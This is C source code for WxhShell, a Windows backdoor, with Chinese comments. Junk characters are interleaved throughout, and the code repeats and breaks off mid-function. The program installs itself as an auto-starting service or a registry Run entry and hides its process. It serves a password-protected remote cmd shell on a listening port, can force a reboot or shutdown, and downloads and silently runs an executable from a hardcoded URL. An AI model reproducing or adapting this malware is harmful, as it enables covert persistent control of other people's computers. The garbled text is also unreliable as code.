(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]O{u tm NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "+?Cz!i fWF|,A>>b if (!NtQueryInformationProcess) return 0; ^). ) I
_i6-<c.Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pPVRsXy if(!hProcess) return 0; s cdtWA 7([h4bg{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0)Rw|(Fpo] '!Gs>T+ CloseHandle(hProcess); 0W`LVue xt4)Ya hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w62=06`@ if(hProcess==NULL) return 0; Q,Z*8FH= `(0LK%w HMODULE hMod; 91of~ffh char procName[255]; ==/n(LBD unsigned long cbNeeded; $jI>[% TP1S[`nR if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8u2+tB ni CloseHandle(hProcess); aFY_:.o2k` cgC\mM4Nla if(strstr(procName,"services")) return 1; // 以服务启动 #JA}3] yBLUNIr return 0; // 注册表启动 %o?IsIys } Pw@olG'Ah 5&CDHc7Oj // 主模块 rZ_>`}O2 int StartWxhshell(LPSTR lpCmdLine) VohhQ { 5)zn :$cz SOCKET wsl; .Qt4&B BOOL val=TRUE; PiLJZBUv int port=0; RV-h IdAU struct sockaddr_in door; ? 81X ,pq{& A if(wscfg.ws_autoins) Install(); R*1kR|*_) *jzLFuWIG port=atoi(lpCmdLine); "`A :(<x K#K\-TR|$ if(port<=0) port=wscfg.ws_port; =He.fEy e=/&(Y WSADATA data; 0;~yZ?6_F if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dMl+ko YEYY}/YX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Qq0l*)mX setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b'x$2K;E door.sin_family = AF_INET; 6S?x
D5( door.sin_addr.s_addr = inet_addr("127.0.0.1"); OySy6IN]q door.sin_port = htons(port); _-cK{ ,7|;k2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gie@JX closesocket(wsl); <64HveJ return 1; tPuut\ee } }0=<6\+:` lm'Zy"~:: if(listen(wsl,2) == INVALID_SOCKET) { z&nZ<ih
closesocket(wsl); 7N2\8kP return 1; Q"J-tP! } 6R}j-1
<n Wxhshell(wsl); a0Oe:]mo\ WSACleanup(); -E&e1u,Mi ul5|.C return 0; !)Ni dG 5b#QYu } us)*2`?6t H5wb_yBQ+ // 以NT服务方式启动 J/D|4fC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ),@f6]( { ~hN~>0O DWORD status = 0; c"gsB!xh DWORD specificError = 0xfffffff; 00vBpsZj2; b_$1f> serviceStatus.dwServiceType = SERVICE_WIN32; qFRdg V>8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 96|[}:+$&: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y@vj;3: serviceStatus.dwWin32ExitCode = 0; 2%rLoL$Y2+ serviceStatus.dwServiceSpecificExitCode = 0; j033%p+Xc serviceStatus.dwCheckPoint = 0; p{;i& HNdp serviceStatus.dwWaitHint = 0;
&LQ% t
Y1Et0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &m{'nRU}c if (hServiceStatusHandle==0) return; 8KjRCm,I )3?rXsSR status = GetLastError(); ysXx%k if (status!=NO_ERROR) B0mLI%B { gb-{2p>} serviceStatus.dwCurrentState = SERVICE_STOPPED; AO0!liQ serviceStatus.dwCheckPoint = 0; @Gjny BJ serviceStatus.dwWaitHint = 0; s_wUM)! serviceStatus.dwWin32ExitCode = status; J?712=9 serviceStatus.dwServiceSpecificExitCode = specificError; 2P~)I)3V SetServiceStatus(hServiceStatusHandle, &serviceStatus); A! 6r/
return; )3E,D~1e% } cwtD@KC[B g@nk.aRw serviceStatus.dwCurrentState = SERVICE_RUNNING; 3(lVmfk serviceStatus.dwCheckPoint = 0; W"(u^} serviceStatus.dwWaitHint = 0; 66ohmP@04Z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^7XAw:
? } }Zl"9A#K ;[5r7
jHU // 处理NT服务事件,比如:启动、停止 k
'zat3#f VOID WINAPI NTServiceHandler(DWORD fdwControl) ,-#GX{! { `<vxG4=62\ switch(fdwControl) we]>(| { o42`z>~ case SERVICE_CONTROL_STOP: H7IW"UkBR serviceStatus.dwWin32ExitCode = 0; {7#03 k serviceStatus.dwCurrentState = SERVICE_STOPPED; WfVMdwz= serviceStatus.dwCheckPoint = 0; K;kM_%9u serviceStatus.dwWaitHint = 0; T)\NkM& { -}<g-*m"q SetServiceStatus(hServiceStatusHandle, &serviceStatus); snMQ"ju } +l\<? return; T1~)^qQ case SERVICE_CONTROL_PAUSE: eK_*q- serviceStatus.dwCurrentState = SERVICE_PAUSED; >A jCl break; !EFBI+?& case SERVICE_CONTROL_CONTINUE: y lL8+7W serviceStatus.dwCurrentState = SERVICE_RUNNING; !$kR ;Q"/ break; jXcNAl case SERVICE_CONTROL_INTERROGATE: ,{<Fz% break; ToU.mM?f^ }; #8?^C]*{0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); };SV!'9s?~ } vl5){@
sd!sus|( R // 标准应用程序主函数 "3y} F int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k,_i#9X { `jW4H$D do'ORcZ // 获取操作系统版本 x;U|3{Io OsIsNt=GetOsVer(); j+>Q# &h9 GetModuleFileName(NULL,ExeFile,MAX_PATH); LZV}U* /yK"t<p // 从命令行安装 @36S}5Oa if(strpbrk(lpCmdLine,"iI")) Install(); YX;nMyD?~ FzhT$7Gw // 下载执行文件 iG-N if(wscfg.ws_downexe) { BED@?:U# h if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?aJ6ug WinExec(wscfg.ws_filenam,SW_HIDE); xwLy|& } IK?]PmN4} plku-O;] if(!OsIsNt) { AN10U;p/O // 如果时win9x,隐藏进程并且设置为注册表启动 Mo|yv[(K, HideProc(); jsWX 6(= StartWxhshell(lpCmdLine); YN^jm } oFyeH )! else P`2&*2, if(StartFromService()) >EBC 2WJ // 以服务方式启动 Xiju"Cup" StartServiceCtrlDispatcher(DispatchTable); gb_X?j%p7 else ADBpX> // 普通方式启动 41'EA\V StartWxhshell(lpCmdLine); ,9vJtP+T+! )*HjRTF6G return 0; 3ZN>9` } [d:@1yc 4WG=m}X
#Q+R%p[D 0x#E4v(UA =========================================== 5mIXyg 0: sY^lQN vzy!3Hiw <(uTst 'a_s%{BJXg qb$_xIQpDL " 8r^j P.V r#I>_Utsy #include <stdio.h> 2fP~;\AP #include <string.h> 9fCO7AE0# #include <windows.h> "OJr*B #include <winsock2.h> =M7PvH'" #include <winsvc.h> L5C2ng> #include <urlmon.h> w .l|G,%= o'^phlX #pragma comment (lib, "Ws2_32.lib") Z"N(=B #pragma comment (lib, "urlmon.lib") x_|>n<Z qOgtGN}k #define MAX_USER 100 // 最大客户端连接数 bQV("~# #define BUF_SOCK 200 // sock buffer
2$)mC9 #define KEY_BUFF 255 // 输入 buffer 1gk0l'.z x
Ty7lfSe #define REBOOT 0 // 重启 N6BNzN}-P #define SHUTDOWN 1 // 关机 pj@Yqg/ w5Z2N[hy #define DEF_PORT 5000 // 监听端口 khS/'b /x
O{
.dr #define REG_LEN 16 // 注册表键长度 Vku#;:yUb^ #define SVC_LEN 80 // NT服务名长度 Un\Ubqi0 PS/W
h // 从dll定义API -;<>tq'3` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d}VALjXHX! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t.L4%1OF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DA=qeVBg typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &58 { V0S6M^\DK // wxhshell配置信息 Z !Z,M' " struct WSCFG { F`3^wHw^ int ws_port; // 监听端口 +i4P,Lp char ws_passstr[REG_LEN]; // 口令 $>(9~Yh0 int ws_autoins; // 安装标记, 1=yes 0=no G V=OKf# char ws_regname[REG_LEN]; // 注册表键名 l\Cu1r-z char ws_svcname[REG_LEN]; // 服务名 /khnl9~+ char ws_svcdisp[SVC_LEN]; // 服务显示名 bZK+9IR char ws_svcdesc[SVC_LEN]; // 服务描述信息 YPG,9iZ&f char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i.F8 int ws_downexe; // 下载执行标记, 1=yes 0=no 3Cd<p[%3#, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Tfr`?:yF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \d ui`F"Cc unJiE! }; f!EOYowW IQ=CNby: // default Wxhshell configuration pqOA/^ar struct WSCFG wscfg={DEF_PORT, nrF!;:x "xuhuanlingzhe", D| [/>x 1, rI *!"PL "Wxhshell", 5'62ulwMP= "Wxhshell", NQg'|Pt(% "WxhShell Service", b24di "Wrsky Windows CmdShell Service",
wFp~ "Please Input Your Password: ", ` %l&zwj> 1, 7x%S](m% "http://www.wrsky.com/wxhshell.exe", ,}n=Z "Wxhshell.exe" {clCn }; Q|Nzbmwh 7
TmK // 消息定义模块 8V,"Id][ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7t`E@dm char *msg_ws_prompt="\n\r? for help\n\r#>"; T0s35z9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iF8@9m char *msg_ws_ext="\n\rExit."; #g F2(iK6 char *msg_ws_end="\n\rQuit."; ^uM_b char *msg_ws_boot="\n\rReboot..."; BB0g}6M char *msg_ws_poff="\n\rShutdown..."; /G{&[X<4U char *msg_ws_down="\n\rSave to "; \ hrBq^I I7A7X* char *msg_ws_err="\n\rErr!"; Kq8(d`g} char *msg_ws_ok="\n\rOK!"; sC!1B6: >,kL p|gA char ExeFile[MAX_PATH]; 4v0dd p int nUser = 0; KUlB2Fqi HANDLE handles[MAX_USER]; Ko4)0& int OsIsNt; {qY3L8b `S5>0r5[ SERVICE_STATUS serviceStatus; g%+ql[(4 SERVICE_STATUS_HANDLE hServiceStatusHandle; ,eyp$^ 2 V/@[%w= // 函数声明 fYb KmB int Install(void); >).@Nb;e int Uninstall(void); $^]
9 int DownloadFile(char *sURL, SOCKET wsh); VtD@&N int Boot(int flag); D7EXqo void HideProc(void); ~Ry
$>n*/ int GetOsVer(void); o*?[_{xW int Wxhshell(SOCKET wsl); }Q,(u void TalkWithClient(void *cs); P_kaIPP int CmdShell(SOCKET sock); -hQ96S8 int StartFromService(void); &qNP?>C!= int StartWxhshell(LPSTR lpCmdLine); G~JCgi _'H2>V_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jkZ_c! VOID WINAPI NTServiceHandler( DWORD fdwControl ); >F,$;y52 OY+!aG@. // 数据结构和表定义 !}z%#$ SERVICE_TABLE_ENTRY DispatchTable[] = )lQN)!.) { &
8ccrw {wscfg.ws_svcname, NTServiceMain}, Xs{/}wc.q; {NULL, NULL} +dDJes!] }; <m~T>Ql1 FrgW7`s[A // 自我安装 YN_X0+b3C int Install(void) x&QNP { /;zZnF\e char svExeFile[MAX_PATH]; un.G6| S HKEY key; =%Q\*xaR.W strcpy(svExeFile,ExeFile); zNNzsT8na eL>K2Jxq // 如果是win9x系统,修改注册表设为自启动 s'R~r if(!OsIsNt) { bMSD/L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8W(<q|t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w g$D@E7 RegCloseKey(key); V;M3z9xd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJnPP> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s4MNVT RegCloseKey(key); 'hxs((['\ return 0; (3)C_Z } QBg}2. } -fb1cv~N } /E=h{| else { jXc5fXO
N d,Hf-zJ%~ // 如果是NT以上系统,安装为系统服务 j4.Qvj >:4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _bN))9
3 if (schSCManager!=0) <1ztj#B { Yt\E/*% SC_HANDLE schService = CreateService NTXws4'D ( {Bav$kw;?e schSCManager, m~Lf^gbG? wscfg.ws_svcname, VZUZngw wscfg.ws_svcdisp, ,\.YJD>z SERVICE_ALL_ACCESS, E#yCcC!wMY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [X0k{FR SERVICE_AUTO_START, uYG #c(lc SERVICE_ERROR_NORMAL, HV]~=Bw2I svExeFile, + TPbIRA NULL, T=hm#] NULL, 'US:Mr3 NULL, aRFi0h
\ NULL, ucIVVT(u NULL T{5M1r ); 4<=eK7;XR if (schService!=0) eukX#0/^ { z6GL,wo# CloseServiceHandle(schService); cP}5}+ CloseServiceHandle(schSCManager); C=xo&I7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A"P\4 strcat(svExeFile,wscfg.ws_svcname); X=S}WKu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )?=
kb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZwY`x') RegCloseKey(key); m?
\#vw$ return 0; G#_(7X& } DzX6U[= } v.~Nv@+kR CloseServiceHandle(schSCManager);
jgZX~D } I1eb31< } hr/xpQW mI_ 6f~ return 1; ;ph+ZV } DYy@t^sC `Z;B^Y0 // 自我卸载 ,d/CU int Uninstall(void) 8EW`*+%= { B=o#LL HKEY key; MSxU>FX0 xc3Ov9`8% if(!OsIsNt) { "9MX,}X* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;$L&X RegDeleteValue(key,wscfg.ws_regname); bUipp\[aV RegCloseKey(key); HbJadOK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8yJk81
gY RegDeleteValue(key,wscfg.ws_regname); ;n:H6cp RegCloseKey(key); |r<.R> return 0; $w2[5|^S } juve9HaW } Aw_R
$ } Px^<2Q%Fs else { Yc|-sEK/ A61-AwvF8- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *`\4j*$^ if (schSCManager!=0) 0*]<RM { z~A(IQO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q
xj|lr if (schService!=0) Hsux>+Q { B4M'Er{v if(DeleteService(schService)!=0) { DI"dY
ug# CloseServiceHandle(schService); 4F 6ju6w CloseServiceHandle(schSCManager); Ri%Of:zZ return 0; "~i#9L/H } &`\kb2uep CloseServiceHandle(schService); l#J>It\ } $D2Ain1 CloseServiceHandle(schSCManager); *(XgUJq+ } c+\Gd}IJq } [3bwbfHhi ~k:>Xo[|O return 1; =-a?oH- } y+~Aw"J} .,iw2: // 从指定url下载文件 O+3D
5* int DownloadFile(char *sURL, SOCKET wsh) (t"YoWA#m { PHB\)/ HRESULT hr; *<
SU_dAh char seps[]= "/"; Qg8eq_m( char *token; _oyL*Cb char *file; oeU+?-y/b char myURL[MAX_PATH]; `b,g2XA char myFILE[MAX_PATH]; G@l|u vr]dRStr strcpy(myURL,sURL); qkyX*_} token=strtok(myURL,seps); cR@} while(token!=NULL) T J"{nB { :[$i~V file=token; *TMM:w|1 token=strtok(NULL,seps); `:^)"#z) } X#\P.$ GQc%OQc\ GetCurrentDirectory(MAX_PATH,myFILE); #7E&16Fk strcat(myFILE, "\\"); H6+st`{ strcat(myFILE, file); BRQ5 send(wsh,myFILE,strlen(myFILE),0); LnACce
?b send(wsh,"...",3,0); BM}a?nnoc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t3h \.(mq if(hr==S_OK) !un"XI0`t< return 0; rt4|GVa else epm8N / return 1; l.t. ,: 5Qe}v } Y_ u7
0@` ?\ i,JJO // 系统电源模块 39^uLob int Boot(int flag) ;kcFQed\w { xdSj+507 HANDLE hToken; ZpP6Q TOKEN_PRIVILEGES tkp; lVKF^-i {gq:sj> if(OsIsNt) { Z{>Y':\?< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >?Y3WPB<F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m:o$|7r tkp.PrivilegeCount = 1; aG&kl O>m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z_TbM^N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @eD2<e if(flag==REBOOT) { W71#NjM2Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;R-Q,aCM} return 0; u=?P*Y/|W } X$Qi[=L else { vzQmijr- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lw78v@dY return 0; vskM; } 'Y/V9;`)s } O"w_sw else { MDXQj5s^ if(flag==REBOOT) { ` G/QJH{I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NhaeAD
$e return 0; % w/1Uo24 } Y K 62#; else { kKTED1MW&W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;?[ +vf") return 0; G;.u>92r| } ZJ'H y5? } \~m%4kzG8J REe%>|
return 1; @ F"ShT0 } (%^TTe zj0pP{y // win9x进程隐藏模块 ?>Ci`XlLr void HideProc(void) w2_I/s6B { >5Rw~ Bk(XJAjY HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dXy"yQ>{ if ( hKernel != NULL ) 2T?1X{g { Vam8NnZ|r pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Nzv@g{3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o ML
K!]a FreeLibrary(hKernel); D}C*8s bC} } C'#)bX{ 6j.(l4} return; MkIO0&0O } 2H0q\zZ "VhrsVT // 获取操作系统版本 z[I/ AORl int GetOsVer(void) ,}$x'8v { 5Ddyb% OSVERSIONINFO winfo; st^N QL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UVi/Be#| GetVersionEx(&winfo); 9(\N+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I;PO$T return 1; d3hTz@JY else GoGgw]h>x return 0; N1zrfn-VU } LWR&(p.% -|UX}t* // 客户端句柄模块 }E]&13>r int Wxhshell(SOCKET wsl) 8J@OMW&[l { `e:RZ SOCKET wsh; UmMYe4LQR struct sockaddr_in client; g0U\AN DWORD myID; X_yU"U [1X5r<(W5 while(nUser<MAX_USER) <{~UKi { ;&:Et int nSize=sizeof(client); n/|`Dz. wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =Qq^=3@h if(wsh==INVALID_SOCKET) return 1; N`:bvr `'t;BXedz/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bGLp0\0[ if(handles[nUser]==0) H s 3*OhK\ closesocket(wsh); omU)hFvyS else v[=E f nUser++; ]qTr4`. } Q ?<9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !q1^X% a fu;B ?mIn return 0; -s84/E4Y* } --hnv/AjI ?a_q!,8: // 关闭 socket DFH6.0UW void CloseIt(SOCKET wsh) (9lx5 { gDBQ\vM8 closesocket(wsh); > %*X2'^ nUser--; + {dIs ExitThread(0); DccsVR`7 } +opN\`
9`VF
[*
9 // 客户端请求句柄 VZ!$'?? void TalkWithClient(void *cs) {Z;GNMO: { jCa;g{#@ ,3[<C)'[ SOCKET wsh=(SOCKET)cs; X+BSneu char pwd[SVC_LEN]; y6yseR! char cmd[KEY_BUFF]; $+N^ s^ char chr[1]; Lu5.$b int i,j; 1F8EL)9 -w0>4JDs while (nUser < MAX_USER) { y`dzo`f (NlEb'~+ if(wscfg.ws_passstr) { YCdxU1V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z*B(L@H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (KU@hp-\ //ZeroMemory(pwd,KEY_BUFF); 0u9h2/ma i=0; ''YjeX while(i<SVC_LEN) { (!=aRC.- -JQg{A // 设置超时 +Enff0 =+ fd_set FdRead; Rb*\A7o|; struct timeval TimeOut; ':dHYvP/UX FD_ZERO(&FdRead); IH}L1i A) FD_SET(wsh,&FdRead); Ez-o*& TimeOut.tv_sec=8; o\gQYi TimeOut.tv_usec=0; i)DXb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SHh(ujz, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X"GQ^]$O _L.yt5_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v%Xe)D pwd=chr[0]; w\4m-Z{ if(chr[0]==0xd || chr[0]==0xa) { !X_~|5. pwd=0; e@By@r&nql break; % j; cXN } G-<~I#k i++; U]$3NIe } boon=;{p PTqS L] // 如果是非法用户,关闭 socket TR20{8" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <ZdNPcT<s } }aIfIJ c,ek]dTj send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n-Y'LK40Os send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0&~u0B{ >c eU!=> while(1) { 3!W&J RkM! BcB ZeroMemory(cmd,KEY_BUFF); bq]a8tSB {xH@8T$DX // 自动支持客户端 telnet标准 I-"{m/PEdg j=0; n5/Q)*e0'# while(j<KEY_BUFF) { (v}: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J_$~OEC~ cmd[j]=chr[0]; bS<p dOX_ if(chr[0]==0xa || chr[0]==0xd) { 0rUf'S
?K cmd[j]=0; @9a=D<'> break; s,x]zG" } eW%jDsC j++; $Plk4 o*g } Tkf !Y? yL-L2 // 下载文件 X;tk\Ixd if(strstr(cmd,"http://")) { 89bKnsV send(wsh,msg_ws_down,strlen(msg_ws_down),0); }fZBP]<I( if(DownloadFile(cmd,wsh)) VCO/s9AL send(wsh,msg_ws_err,strlen(msg_ws_err),0); \9^@,kfP else k"$V O+}m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9~yuyv4$ } TH &B9 else { %|>i2 `314.a6S switch(cmd[0]) { ,~#hHhR_ J)o%83// // 帮助 ,?+yu6eLb case '?': { `R RORzXoS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P9vROzXK break; [G*mQ@G9 } ;U&VPIX$ // 安装 )3 case 'i': { @T"385> if(Install()) bv "S( send(wsh,msg_ws_err,strlen(msg_ws_err),0); DP_ \%(A else jYv
!} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vCM'nkXY break; 1YxI q565 } 3$54*J // 卸载 dQ]j
r. case 'r': {
q-#fuD^ if(Uninstall()) p(Mv^ea send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Daq5(fLP else xmDwoLU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m`~ Qr~ break; &0raa } FmPF7 // 显示 wxhshell 所在路径 H'2 =yhtVh case 'p': { Qsa2iw{ char svExeFile[MAX_PATH]; \z
'noc strcpy(svExeFile,"\n\r"); yr?\YKV)I strcat(svExeFile,ExeFile); 566EMy| send(wsh,svExeFile,strlen(svExeFile),0); -/X-.#}- break; uvL|T48 } 0/$sr; // 重启 S%2qB;uw case 'b': { %~~Q XH\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "'Ik{wGc if(Boot(REBOOT)) EZ4qhda send(wsh,msg_ws_err,strlen(msg_ws_err),0); J7ln6 Y else { 7+"X^$ closesocket(wsh); U N/.T
ExitThread(0); Ad `IgZ } -SQYr break; A:f+x|[ } \] K-<&f // 关机 Zh@\+1] case 'd': { f+&yc'[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |@RO&F if(Boot(SHUTDOWN)) n !QjptQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@}U ;x} else { >:=TS"}yS} closesocket(wsh); 2r,fF<WQ ExitThread(0); 15COwc*k } @OpcS>:R break; ;
OsN^ } Hi Yx(hY // 获取shell 0:*$i(2 case 's': { n2E2V<# CmdShell(wsh); hf[K\aAk closesocket(wsh); S`::f(e ExitThread(0); 7j+.H/2 break; t%)L8%Jr } $aG'.0HW // 退出 ]#nAld1cmy case 'x': { VaB7)r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0pQ>V) CloseIt(wsh); 5Ai
Yx} break; p:
o*= } ;(V=disU/ // 离开 tc[PJH&P case 'q': { k(MQ:9'| send(wsh,msg_ws_end,strlen(msg_ws_end),0); &>-Cz%IV closesocket(wsh); aUnm9ur WSACleanup(); &IcDUr]L exit(1); -Je+7#P1 break; rP'oUV_ } &+\wYa, } ;(XSw%Y
H } SV.*Z|"^N IAfYlS#<yD // 提示信息 , Le_PJY) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n}l Z } HBt?cA ' } t/3veDh@ "783F:mPh return; B7#;tCf } X@arUs7 ,GK>|gNsb // shell模块句柄 m>iuy:ti int CmdShell(SOCKET sock) ]SQ_*$` { @t_<oOI2 STARTUPINFO si; kz#DBh!& ZeroMemory(&si,sizeof(si)); !n7?w@2a' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /F\7_ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p'H5yg3h PROCESS_INFORMATION ProcessInfo; 8w{V[@QLn char cmdline[]="cmd"; xe5>)\18- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rJAY7/u return 0; "PX~Yc } |PWLFiT(> Qwb@3{ // 自身启动模式 sx22|j`)V int StartFromService(void) 6)W9/V-W { o*<(,I% typedef struct {vaq,2_w { X3nwA#If1 DWORD ExitStatus; U<*dDE~z DWORD PebBaseAddress; *@O;IiSE DWORD AffinityMask; 0Vg8o @ DWORD BasePriority; $lO\eQGxB ULONG UniqueProcessId; =%a.C(0&G ULONG InheritedFromUniqueProcessId; "$WZd } PROCESS_BASIC_INFORMATION; G",+jR] "MyYu}AD PROCNTQSIP NtQueryInformationProcess; "DUL} "5T 5vS'Qhc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lY6U $*9c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pM>.z9 >9|Q,/b0 HANDLE hProcess; 'HOt?lpu! PROCESS_BASIC_INFORMATION pbi; ;N)qNiJY cM55
vVd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [\I\). if(NULL == hInst ) return 0; P|G:h& n|(Y?`( g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Q^t( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vZ*593C8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); poM VB{U _N<8!(|w if (!NtQueryInformationProcess) return 0; Z
rvb
% P/^:IfuR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OrzDr if(!hProcess) return 0; akaQ6DIdG \;Ii(3+v; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J&lQ,T!?B T'w=v-(J CloseHandle(hProcess); oqG
0 @@ r|
YuHm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `>K;S!z if(hProcess==NULL) return 0; CA{c-kG T,k`WR HMODULE hMod; (;!&RZ char procName[255]; yXlzImPn unsigned long cbNeeded; 'GAjx{gM ,KZ_#9[> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @*F
